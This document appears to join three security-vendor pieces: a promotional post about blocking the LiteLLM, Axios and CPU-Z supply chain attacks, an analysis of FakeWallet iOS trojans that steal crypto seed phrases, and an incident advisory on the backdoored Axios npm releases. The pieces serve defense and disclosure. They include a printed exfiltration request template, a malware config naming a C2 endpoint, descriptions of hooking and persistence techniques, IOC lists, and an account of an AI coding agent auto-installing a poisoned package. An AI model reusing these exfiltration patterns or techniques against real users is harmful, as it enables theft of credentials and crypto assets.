In 2026, the question for security leaders is not whether a supply chain attack is coming. Every serious organization should assume it is. The question is whether their defense architecture can stop a payload it has never seen before. It’s a question that takes on even more critical implications at a time where trusted agentic automation increasingly becomes the norm.

In three weeks this spring, three threat actors each ran a tier-1 supply chain attack against widely deployed software: LiteLLM, a core AI infrastructure package, Axios, the most downloaded HTTP client in the JavaScript ecosystem, and CPU-Z, a trusted system diagnostic tool. Different vectors, different actors, different techniques. SentinelOne® stopped all three on the same day each attack launched, with no prior knowledge of any payload.

The more important story is the how. Each attack arrived as a zero-day at the moment of execution. Each exploited a trusted delivery channel: an AI coding agent running with unrestricted permissions, a phantom dependency staged eighteen hours before detonation, a properly signed binary from an official vendor domain. No signature existed for any of them. No IOA matched.

SentinelOne stopped all three. That outcome is a direct answer to the question every security leader is now running against: What does your defense do when the attack arrives through a channel you explicitly trust, carrying a payload you have never seen before?

The AI Arms Race in Security is Underway

Adversaries are no longer running manual campaigns at human speed. In September 2025, Anthropic disclosed a Chinese state-sponsored group that jailbroke an AI coding assistant and ran a full espionage campaign against approximately 30 organizations. The AI handled 80–90% of tactical operations autonomously (i.e., reconnaissance, vulnerability discovery, exploit development, credential harvesting, lateral movement, exfiltration) with minimal human direction. Anthropic noted only 4–6 human decision points per campaign. The attack achieved limited success across those targets, but the trajectory is clear: AI is compressing the human bottleneck in offensive operations. Security programs designed around manual-speed adversaries are calibrating to a threat that is moving faster.

The LiteLLM attack is the clearest recent example of what this looks like inside an AI development workflow. On March 24, 2026, threat actor TeamPCP compromised the LiteLLM Python package by obtaining PyPI credentials through a prior supply chain compromise of Trivy, a widely-used open-source security scanner. Two malicious versions (1.82.7 and 1.82.8) were published. Any system with those versions during the exposure window executed the embedded credential theft payload automatically. In one confirmed detection, an AI coding agent running with unrestricted permissions (claude --dangerously-skip-permissions) auto-updated to the infected version without human review — no approval, no alert, no visible action before the payload ran. SentinelOne detected and blocked the malicious Python execution on the same day across multiple environments. Most organizations running AI development workflows didn’t know they were exposed until after the fact. The gap where human review processes don’t reach is wide, and it grows with every AI agent added to a pipeline.

Security programs were built for a different adversary. Vulnerability management, triage queues, patch cadences: all of it assumes an attacker who moves at a pace where human response can still close the window. This year’s SentinelOne Annual Threat Report documented what happens when that assumption breaks: adversaries are shifting left, embedding malicious logic in the build process before software ever reaches production. Likewise, the Verizon 2025 Data Breach Investigations Report found that edge device vulnerabilities are now being mass-exploited at or before the day of CVE publication, while organizations take a median of 32 days to patch them. The old model worked when it was designed. Attackers just weren’t running AI yet.

Three Attacks, One Common Failure Mode

Each attack ran through the same gap. Authorization was treated as a sufficient security boundary, and when authorization is automated, that assumption has no floor.

An AI agent with install permissions doesn’t stop to ask whether a package looks right. It installs. Trusted source, valid credentials, done. Supply chain attacks have always exploited trusted delivery channels, but a human at the keyboard introduces at least one friction point: Someone might notice something off, slow down, ask a question. Agents don’t do that. They execute at the speed of the next API call. When you give an agent install permissions, you’ve extended your trust model to cover everything it will ever run. Authorized agents execute exactly what their permissions allow. That’s the design. Treating permission as a proxy for safety is what turns a compromised supply chain hypersonic.

LiteLLM was compromised via credentials stolen through Trivy, a security scanner. The Axios attacker bypassed every npm security control the project had in place by exploiting a legacy access token the maintainers had forgotten to revoke. The CPUID attackers went after the vendor’s distribution infrastructure directly, so anyone who downloaded from the official website got a properly signed binary with a payload inside. In all three cases, the identity was legitimate. The intent wasn’t.

SentinelOne’s Annual Threat Report named the failure precisely: “The identity is verified, but the intent has been subverted, rendering traditional access controls ineffective against the resulting supply chain contamination.” Signature libraries, IOA rule sets, reputation lookups: All of them check authorization. None check intent. These attacks were designed to exploit exactly that. When the authorization model runs automatically, so does the exposure.

What Actually Stopped Them

In each incident, SentinelOne’s on-device behavioral AI flagged the execution pattern, not a known signature or hash for that specific attack.

The LiteLLM detection flagged a Python interpreter executing Base64-decoded code in a spawned subprocess. SentinelOne killed the process preemptively, terminating 424 related events in under 44 seconds, before any human was in a position to observe it. The Axios detection, via the Lunar behavioral engine, caught PowerShell executing under a renamed binary from a non-standard path. The engine flagged the technique regardless of what the payload contained. The first infection occurred 89 seconds after the malicious package went live; the behavioral detection fired on the same day of publication. The CPU-Z detection flagged cpuz_x64.exe building an anomalous process chain: spawning PowerShell, which spawned csc.exe, which spawned cvtres.exe. CPU-Z does not do that. The platform terminated the execution chain mid-attack during a 19-hour active distribution window.

This is the operational output of Autonomous Security Intelligence (ASI), the intelligence fabric built into the Singularity Platform. ASI runs on-device at the edge as part of the core architecture. It is already running when the attack starts, killing the process before the threat can escalate.

Where customers had SentinelOne fully deployed with the right policies enabled, they were covered. Where they did not, they were exposed, and with average ransomware recovery costs exceeding $4M per incident, that exposure has a real price. If you are not certain your deployment matches the configuration that stopped these three attacks, that certainty is worth getting.

AI to Fight AI

This is the product reality behind the thesis SentinelOne brought to RSAC: AI to fight AI. A machine-speed adversary requires a machine-speed defense. That is an architectural requirement, not a positioning statement. ASI monitors behavioral patterns at the point of execution and kills the process when something deviates, at machine speed, without waiting for a human to write a query or approve a kill.

According to an IDC study, organizations using SentinelOne’s AI platform identify threats 63% faster and remediate 55% faster than legacy solutions, neutralizing 99% of threats without a single manual step. For organizations in regulated industries (healthcare, financial services, manufacturing, critical infrastructure), the stakes compound beyond breach cost. An exposure window that stays open through manual investigation is a potential regulatory notification event, an audit finding, and a conversation the CISO has with the board under circumstances no one wants. The difference between a stopped attack and an active breach is whether the architecture acts before the attacker establishes persistence. By the time a human analyst approves the kill, redundant persistence mechanisms may already be installed. The CPU-Z attack deployed three of them specifically because partial cleanup leaves the payload operational.

Human-driven workflows, manual validation, and legacy tooling cannot keep pace with that attack cadence. When defense relies on investigation before action, the advantage shifts to the adversary. The gap is in the architecture. You cannot tune your way out of it.

Conclusion | The Only Question That Matters

SentinelOne’s latest Annual Threat Report documented the pattern these three attacks confirm: Adversaries are “shifting left” by integrating malicious logic into the build process itself, compromising software before it reaches production. It is the current operating model of advanced threat actors, and it is accelerating.

Three attacks. Three detections. Three outcomes, all in a matter of weeks. The architecture that survived them is real-time, AI-native, and built into the edge.

The question every security leader should be able to answer: Could your current solution have stopped LiteLLM, Axios, and CPU-Z autonomously, on the day of each attack, with no prior knowledge of any payload?

If the answer depends on a signature update, a cloud verdict, a manual investigation step, or a policy that wasn’t enabled, that is your answer.

Read the full technical breakdown of each incident:

• How SentinelOne Stopped the LiteLLM Supply Chain Attack
• Securing the Supply Chain: The Axios Attack
• How SentinelOne Blocked the CPU-Z Watering Hole Attack

Third-Party Trademark Disclaimer:

All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third-party.

In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background

This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

App Store search results for “Ledger Wallet” (formerly Ledger Live)

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

Promotional screenshots from apps posing as the official TokenPocket app

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic.  The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

An infected wallet and its corresponding profile used for the installation process

Malicious modules for hot wallets

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

• The extracted mnemonics are stringed together.
• This string is encrypted using RSA with the PKCS #1 scheme.
• The encrypted data is then encoded into Base64.
• Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:

POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger

The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

• Resolve symbols dataInit or processX0Parameter from the malicious library
• Hand over control to these newly discovered functions
• Execute the code for the original methods that the wrapper was built to replace

The content of the embedded __hook section, showing the trampolines and wrapper functions

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module

The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points:  two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

• The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
  

  {
  	"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
  	"code": "10001",                                         // special code	"login-url": "hxxps://xxx[.]com",                                              
  	"login-code": "88761"                                                               
  }

• Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
• As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
  • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
  • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
• Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The Objective-C handler responsible for exfiltrating mnemonics

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

• MnemonicVerifyScreen, embedded in PortfolioNavigator
• PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

Phishing window for seed phrase verification

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

• verify-wallet-status.json tracks the current status and the timestamp of the last update.
• verify-wallet-config.json stores the C2 server configuration the malware is currently using.
• verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Decompiled pseudocode for the submitWalletSecret function

Other distribution channels, platforms, and the SparkKitty link

During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

A phishing website hosting links to infected Ledger apps for both iOS and Android

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims

Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution

According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

• Some infected apps contained SparkKitty modules alongside the FakeWallet code.
• The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
• Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
• Both campaigns specifically target victims’ cryptocurrency assets.

Conclusion

Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

• Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
• Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
• Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.

Indicators of compromise

Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz

On March 31, 2026, a North Korean state actor hijacked the npm credentials of the primary Axios maintainer and published two backdoored releases that deployed a cross-platform remote access trojan (RAT) to Windows, macOS, and Linux systems. Axios is the most widely used HTTP client in the JavaScript ecosystem, with approximately 100 million weekly downloads and a presence in roughly 80% of cloud and code environments. The malicious versions were live for approximately three hours. An estimated 600,000 downloads occurred during that window with no user interaction required beyond a routine npm install.

SentinelOne protects against this attack, demonstrating why autonomous, layered defense at machine speed is not optional when adversaries operate at this velocity. In this attack, the first infection was observed 89 seconds after publication. At that pace, manual workflows do not have a response window. They have a spectator seat.

For SentinelOne’s customers and partners, here’s a quick overview of the compromise, SentinelOne’s response, and steps you can take to further protect your environment.

What Happened: The Anatomy of a State-Level Supply Chain Weapon

The attacker, tracked as UNC1069 by Google Threat Intelligence and Sapphire Sleet by Microsoft, compromised maintainer credentials and published axios@1.14.1 (tagged “latest”) and axios@0.30.4 (tagged “legacy”). Each version introduced a single new dependency: plain-crypto-js@4.2.1, a purpose-built trojan. The malicious package’s postinstall hook silently deployed a cross-platform RAT communicating over HTTP to C2 infrastructure at sfrclak[.]com (142.11.206[.]73), commonly being referred to as WAVESHAPER.V2.

The operational sophistication was striking. The attacker pre-staged a clean version of plain-crypto-js 18 hours before detonation to evade novelty-based detection. Publication occurred just after midnight UTC on a Sunday to maximize the response window. The malware self-deleted after execution, swapping its malicious package.json for a clean stub, leaving forensic evidence only in lockfiles and audit logs.

Most critically, Axios had adopted OIDC Trusted Publishing, the post-Shai-Hulud hardening measure npm promoted as the solution to credential-based attacks. But the OIDC configuration coexisted with a long-lived npm access token. npm’s authentication logic prioritizes environment variable tokens over OIDC when both are present. The attacker stole the legacy token and bypassed every modern control the project had in place.

The issue is architectural: security controls that coexist with the mechanisms they are meant to replace provide a false sense of protection. Axios had Trusted Publishing, SLSA provenance, and GitHub Actions workflows. None of it mattered because the old key was still under the mat.

How SentinelOne Is Protecting Customers

Behavioral Detection via the Lunar Engine

SentinelOne’s Lunar behavioral engine detects the renamed binary execution technique central to the Windows attack chain, in which PowerShell is copied to %PROGRAMDATA%\wt.exe and executed under a disguised process. The RenamedBinExecution logic catches this behavior regardless of the specific payload hash, providing durable detection against variants.

Global Hash Blocklist

All known stage payloads, malicious npm package tarballs, and RAT binaries across Windows, macOS, and Linux have been added to the SentinelOne Cloud blocklist with a globally blocked reputation status. This provides immediate protection for all customers with cloud-connected agents.

Wayfinder Threat Hunting

The Wayfinder Threat Hunting team executed proactive hunts across all MDR regions and operating systems using Axios-specific IOCs, including DNS queries to sfrclak[.]com, file artifacts (com.apple.act.mond, /tmp/ld.py, wt.exe), and consolidated hash sets. All true positive findings generate console alerts, with MDR customers receiving direct analyst engagement and escalation.

Sustained Research on This Threat Actor

SentinelLABS has tracked BlueNoroff, the DPRK-linked threat cluster with significant overlap to UNC1069, across multiple campaigns targeting macOS and credential theft operations. The WAVESHAPER.V2 macOS binary recovered from the Axios compromise carries the internal project name “macWebT,” a direct lineage marker to BlueNoroff’s documented webT module. SentinelLABS published detailed analysis of this tooling family in 2023 when RustBucket first emerged as a macOS-targeted campaign, and again in 2024 when BlueNoroff shifted to fake cryptocurrency news as a delivery mechanism with novel persistence techniques.

• BlueNoroff: How DPRK’s macOS RustBucket Seeks to Evade Analysis and Detection
• BlueNoroff Hidden Risk: Threat Actor Targets Macs with Fake Crypto News and Novel Persistence

The initial access vector matters here, too. In March 2026, Google Threat Intelligence reported that UNC1069 leverages ClickFix, a social engineering technique that weaponizes user verification fatigue, as an initial access vector for credential harvesting. SentinelLABS had already published a detailed analysis of ClickFix techniques and their use in delivering RATs and infostealers before Google’s attribution dropped.

• How ClickFix Is Weaponizing Verification Fatigue to Deliver RATs and Infostealers

The behavioral detections that caught the Axios compromise were built on this accumulated intelligence, not written after the fact.

Live Security Updates (LSU)

Customers with LSU enabled receive real-time detection updates without waiting for agent releases, ensuring coverage evolves as fast as the threat intelligence does. This is critical for rapidly evolving supply chain campaigns where new IOCs emerge hourly.

What You Should Do Now

Supply chain compromise exploits the inherent trust enterprises place in their software delivery infrastructure. When that trust is weaponized by a state-level actor, the response must be both immediate and structural.

1. Audit and contain. Search all environments for axios@1.14.1 and axios@0.30.4. Treat any system that installed either version during the exposure window as fully compromised. Rebuild from known-good images rather than attempting in-place cleanup.
2. Rotate every credential the endpoint could reach. npm tokens, SSH keys, CI/CD secrets, cloud provider keys, and API tokens accessible from impacted systems must be rotated immediately. The RAT was designed to harvest exactly these credential types.
3. Pin dependencies and enforce lockfiles. Use npm ci (not npm install) in all CI/CD pipelines. Commit and audit lockfiles. Organizations using strict lockfile discipline were protected even during the three-hour exposure window. This is the single most actionable control.
4. Eliminate legacy npm tokens. Inventory all long-lived tokens across the organization. Migrate to OIDC Trusted Publishing and revoke legacy tokens entirely. Do not leave them as fallbacks. The coexistence of old and new authentication is what this attack exploited.
5. Harden detection policy. Ensure Behavioral AI and Documents & Scripts engines are set to Protect (On Execute). Avoid broad exclusions for developer tools like node.exe or npm. Enable LSU for real-time detection updates.
6. Extend endpoint coverage to developer workstations and CI runners. These environments have access to production secrets, deployment credentials, and code signing infrastructure. They are typically less monitored than production servers. DPRK has recognized this asymmetry and is systematically exploiting it.
7. Hunt proactively. Use Deep Visibility to search for DNS queries to sfrclak[.]com, connections to 142.11.206[.]73, and the presence of plain-crypto-js in any node_modules directory. SentinelOne’s 2025 Annual Threat Report documents how supply chain attacks are part of a broader pattern where adversaries are “shifting left” to subvert the build process itself, compromising software before it ever reaches production.

Practitioner Investigative Guide

In addition to the strategic recommendations above, here are some specific queries, file paths, and commands you can execute now to protect your environment.

Determine Blast Radius

Your first job is to answer one question: did any system in my environment pull a compromised Axios version during the March 31 exposure window (00:21 – 03:25 UTC)?

In the SentinelOne Console:

• Open the Wayfinder alert queue. Look for the alert name “Axios NPM Supply Chain Compromise” (Wayfinder retroactive rule). If these alerts are not visible under default filters, switch the alert type from “EDR” to “All”, as these surface as Custom/STAR alerts.
• For each alert, review the Storyline and process tree. The typical chain looks like this:
  • Developer process (VS Code, Electron, Node, Yarn, npx) → node → setup.js under plain-crypto-js → curl download from sfrclak[.]com:8000/6202033 → OS-specific payload execution
• Classify the affected asset: developer workstation, CI/CD runner, or production server. This drives urgency. Shared CI runners imply wider blast radius because multiple teams and credential sets may be exposed.

Deep Visibility / Event Search hunts to run immediately:

Run hash hunts against consolidated IOC lists even if the global blocklist is already active. Historic hits help you quantify which systems were exposed and when.

Contain and Kill

For every system with confirmed Axios-related activity:

• Mark the Storyline as Threat in the SentinelOne Console. Confirm that remediation commands (Kill + Quarantine) executed successfully.
• Network-isolate the endpoint if the C2 connection succeeded (outbound to sfrclak[.]com or 142.11.206[.]73). Check for any secondary tooling or persistence beyond the initial RAT.
• Block at the perimeter. Add the following to your firewall, proxy, and DNS blocklists:
  • Domain: sfrclak[.]com
  • IP: 142.11.206[.]73
  • Port: 8000
• Check for persistence mechanisms:
  • Windows: Registry key “Microsoft Update” (used by the RAT for persistence), presence of 6202033.vbs or 6202033.ps1
  • macOS: Any process spawned from /Library/Caches/com.apple.act.mond, AppleScript execution from /var/folders/.../6202033
  • Linux: Active python3 processes running /tmp/ld.py, nohup wrappers

Credential Rotation and Dependency Cleanup

Assume every credential accessible from a confirmed-compromised endpoint is stolen. The RAT was built to harvest them.

Credential rotation checklist:

• npm access tokens (revoke and reissue)
• SSH keys (regenerate keypairs, update authorized_keys on all targets)
• CI/CD pipeline secrets (GitHub Actions secrets, GitLab CI variables, Jenkins credentials)
• Cloud provider keys (AWS access keys, GCP service account keys, Azure SPN secrets)
• API keys and .env file contents
• Git signing keys and code signing certificates if accessible from the endpoint

Dependency cleanup (all environments):

• Pin Axios to known-good versions: axios@1.14.0 (1.x branch) or axios@0.30.3 (legacy branch)
• Delete node_modules/plain-crypto-js/ wherever it exists
• Run npm cache clean --force (or equivalent for Yarn/pnpm) on all affected build environments
• Reinstall cleanly using npm ci --ignore-scripts during the cleanup period to prevent any other postinstall hooks from executing
• Audit your package-lock.json / yarn.lock / pnpm-lock.yaml for any reference to plain-crypto-js. Its presence in a lockfile is a forensic indicator that the compromised version was resolved, even if the malware self-deleted.

Harden and Validate

Policy hardening:

• Confirm Behavioral AI engine is set to Protect (On Execute), not Detect-only
• Confirm Documents & Scripts engine is set to Protect (On Execute)
• Review and remove any broad exclusions for node.exe, npm, yarn, python3, or developer IDEs
• Verify LSU (Live Security Updates) is enabled. Customers on Fed/OnPrem environments without LSU access should confirm they are on the latest Service Pack
• Confirm the SentinelOne agent is deployed on all developer workstations and CI/CD runners, not just production servers

Validation sweep:

• Run a full disk scan on every endpoint that was in the blast radius
• Verify no new users, services, or scheduled tasks were created during the exposure window
